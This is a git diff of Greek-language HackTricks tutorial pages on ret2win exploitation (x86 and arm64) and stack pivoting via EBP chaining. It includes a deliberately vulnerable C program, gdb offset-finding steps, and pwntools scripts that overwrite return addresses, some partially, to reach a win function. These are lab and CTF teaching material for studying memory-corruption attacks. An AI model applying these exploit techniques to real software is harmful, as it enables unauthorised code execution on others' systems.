* **Το PIE** πρέπει να είναι **απενεργοποιημένο** για να είναι αξιόπιστη η διεύθυνση σε κάθε εκτέλεση, διαφορετικά η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαζόσασταν κάποια διαρροή για να καταλάβετε πού φορτώνεται η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή κάτι παρόμοιο, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 bytes για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του τρόπου λειτουργίας του ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να λάβετε τη σωστή διεύθυνση επιστροφής.
* Τα **Καναρίνια Στοίβας** πρέπει επίσης να είναι απενεργοποιημένα, διαφορετικά η χειρισμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Υπεργραφή** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
## Άλλα παραδείγματα & Αναφορές
@ -90,21 +91,25 @@ objdump -d vulnerable | grep win
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32bit, χωρίς ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bits με ASLR, με μια διαρροή της διεύθυνσης του bin
* 64 bits με ASLR, με ένα leak της διεύθυνσης bin
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, χωρίς ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσετε τη στοίβα και να μεγαλώσετε το μέγεθος της δεύτερης υπερχείλισης
* 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει το stack και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, χωρίς καναρίνι, nx, χωρίς pie, format string για να αντικαταστήσετε τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
* 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσετε τη συνάρτηση win
* 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσετε τη συνάρτηση win
* 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Το πρόγραμμα ελέγχει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατόν να προστεθεί οποιοδήποτε μέγεθος όσο το τελευταίο byte βρίσκεται εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win.
* Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατό να προσθέσετε οποιοδήποτε μέγεθος όσο το τελευταίο byte είναι εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bit, relro, χωρίς καναρίνι, nx, pie. Μερική αντικατάσταση για να καλέσετε τη συνάρτηση win (ret2win)
* 64 bit, relro, χωρίς canary, nx, pie. Μερική υπερχείλιση για να καλέσει τη συνάρτηση win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, δίνει ένα leak PIE η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις οπότε ROP gadget που καλεί 2 συναρτήσεις
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one για να καλέσει μια συνάρτηση win
## Παράδειγμα ARM64
@ -112,16 +117,17 @@ objdump -d vulnerable | grep win
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2win - arm64
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Βρείτε μια εισαγωγή στο arm64 στο:
@ -20,7 +21,7 @@
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Code&#x20;
## Κώδικας&#x20;
```c
#include <stdio.h>
#include <unistd.h>
@ -39,63 +40,63 @@ vulnerable_function();
return 0;
}
```
Μεταγλωττίστε χωρίς την επιλογή pie και canary:
Συγκεντρώστε χωρίς pie και canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Εύρεση της μετατόπισης
## Finding the offset
### Επιλογή μοτίβου
### Pattern option
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας το [**GEF**](https://github.com/bata24/gef):
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef):
Ξεκινήστε το gdb με το gef, δημιουργήστε ένα μοτίβο και χρησιμοποιήστε το:
Εκκινήστε το gdb με το gef, δημιουργήστε μοτίβο και χρησιμοποιήστε το:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
Το arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει διαρρεύσει), μπορούμε να χρησιμοποιήσουμε αυτό για να βρούμε την μετατόπιση του προτύπου:
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:
```bash
pattern search $x30
```
<figure><img src="../../../.gitbook/assets/image (1203).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
**Η μετατόπιση είναι 72 (9x48).**
**Η απόσταση είναι 72 (9x48).**
### Επιλογή μετατόπισης στη στοίβα
### Επιλογή απόστασης στοίβας
Ξεκινήστε με την ανάκτηση της διεύθυνσης της στοίβας όπου αποθηκεύεται το pc register:
Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../.gitbook/assets/image (1204).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure>
Τώρα ορίστε ένα σημείο ανακοπής μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα πρότυπο όπως το 13371337:
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1208).png" alt=""><figcaption></figcaption></figure>
Βρείτε πού αποθηκεύεται αυτό το πρότυπο στη μνήμη:
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1209).png" alt=""><figcaption></figcaption></figure>
Στη συνέχεια: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../.gitbook/assets/image (1207).png" alt="" width="339"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Χωρίς PIE
### Κανονικό
Αποκτήστε τη διεύθυνση της συνάρτησης **`win`**:
Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
@ -121,11 +122,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../.gitbook/assets/image (1208).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Εκτός-2
### Off-by-1
Αντί να αντικαταστήσουμε όλη τη διεύθυνση επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
```python
from pwn import *
@ -145,19 +146,21 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια.
## Με PIE
{% hint style="success" %}
Μεταγλωττίστε το δυαδικό **χωρίς το όρισμα `-no-pie`**
Συμπληρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`**
{% endhint %}
### Off-by-2
Χωρίς διαρροή δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης που κερδίζει, αλλά μπορούμε να γνωρίζουμε τη μετατόπιση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε τη μετατόπιση προς τη συνάρτηση κέρδους (**0x7d4**) σε αυτήν την περίπτωση και απλά να χρησιμοποιήσουμε αυτήν τη μετατόπιση:
Χωρίς μια leak δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -177,16 +180,17 @@ p.send(payload)
print(p.recvline())
p.close()
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,74 +1,75 @@
# Ανακατεύθυνση Στοίβας - EBP2Ret - Αλυσίδα EBP
# Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Αυτή η τεχνική εκμεταλλεύεται τη δυνατότητα να χειριστεί το **Δείκτη Βάσης (EBP)** για να αλυσίδωσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών **`leave; ret`**.
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσιοδέσει την εκτέλεση πολλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών **`leave; ret`**.
Για να θυμηθείτε, το **`leave`** σημαίνει βασικά:
Ως υπενθύμιση, **`leave`** σημαίνει βασικά:
```
mov ebp, esp
pop ebp
ret
```
Και καθώς το **EBP βρίσκεται στη στοίβα** πριν το EIP είναι δυνατό να το ελέγχετε ελέγχοντας τη στοίβα.
And as the **EBP είναι στο stack** πριν από το EIP είναι δυνατόν να το ελέγξετε ελέγχοντας το stack.
### EBP2Ret
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε **να τροποποιήσετε τον καταχωρητή EBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε τον καταχωρητή EIP**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεσή τους.
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το EBP register αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP register**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
Αν, κατά την εκτέλεση της `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή στη μνήμη όπου βρίσκεται η διεύθυνση του shellcode σας (συν τέσσερα bytes για τη λειτουργία `pop`), μπορείτε να ελέγχετε έμμεσα τον EIP. Καθώς η `fvuln` επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει αποτελεσματικά σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
Σημειώστε πώς **χρειάζεστε να γνωρίζετε 2 διευθύνσεις**: Εκεί όπου θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτή που θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
#### Κατασκευή Εκμετάλλευσης
Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις**. Το ESP θα δείχνει εδώ και θα **εκτελέσει το πρώτο `ret`**.
Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις**. Το ESP θα δείχνει εδώ και **θα εκτελέσει το πρώτο `ret`**.
Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Θα μπορούσατε να χρησιμοποιήσετε:
Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε:
* Μια έγκυρη διεύθυνση [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* Η διεύθυνση της **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
* Η διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** για εκτέλεση.
* Κάποια [**αλυσίδα ROP**](../rop-return-oriented-programing/)
* Μια έγκυρη [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) διεύθυνση.
* Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
* Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί.
* Μερική [**ROP**](../rop-return-oriented-programing/) αλυσίδα.
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στο ελεγχόμενο μέρος της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του **`pop`** μέρους της εντολής `leave`. Θα ήταν δυνατό να καταχραστείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε τον έλεγχο της εκτέλεσης.
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να καταχραστείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση.
